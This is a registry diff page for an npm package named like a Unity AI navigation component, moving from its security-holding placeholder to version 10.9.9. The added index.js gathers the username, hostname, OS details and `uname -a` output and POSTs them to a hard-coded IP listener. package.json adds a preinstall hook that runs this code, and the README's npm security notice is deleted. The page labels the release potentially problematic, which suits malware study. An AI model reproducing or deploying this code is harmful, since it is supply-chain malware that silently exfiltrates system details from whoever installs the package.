com.unity.ai.navigation 0.0.1-security → 10.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of com.unity.ai.navigation might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +50 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,50 @@
1
+ const os = require("os");
2
+ const { execSync } = require("child_process");
3
+ const http = require("http");
4
+
5
+ function getSystemInfo() {
6
+ try {
7
+ const user = os.userInfo().username;
8
+ const hostname = os.hostname();
9
+ const platform = os.platform();
10
+ const arch = os.arch();
11
+ const kernel = execSync("uname -a").toString().trim();
12
+
13
+ return JSON.stringify({
14
+ username: user,
15
+ hostname: hostname,
16
+ platform: platform,
17
+ architecture: arch,
18
+ kernel: kernel,
19
+ });
20
+ } catch (error) {
21
+ return JSON.stringify({ error: "Failed to capture system info" });
22
+ }
23
+ }
24
+
25
+ function sendData(data) {
26
+ const options = {
27
+ hostname: "65.0.127.249", // Your listener's IP
28
+ port: 4777, // Your listener's port
29
+ path: "/log",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/json",
33
+ "Content-Length": Buffer.byteLength(data),
34
+ },
35
+ };
36
+
37
+ const req = http.request(options, (res) => {
38
+ console.log(`Status: ${res.statusCode}`);
39
+ });
40
+
41
+ req.on("error", (err) => {
42
+ console.error("Error sending data:", err.message);
43
+ });
44
+
45
+ req.write(data);
46
+ req.end();
47
+ }
48
+
49
+ const systemInfo = getSystemInfo();
50
+ sendData(systemInfo);
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "com.unity.ai.navigation",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "10.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=com.unity.ai.navigation for more information.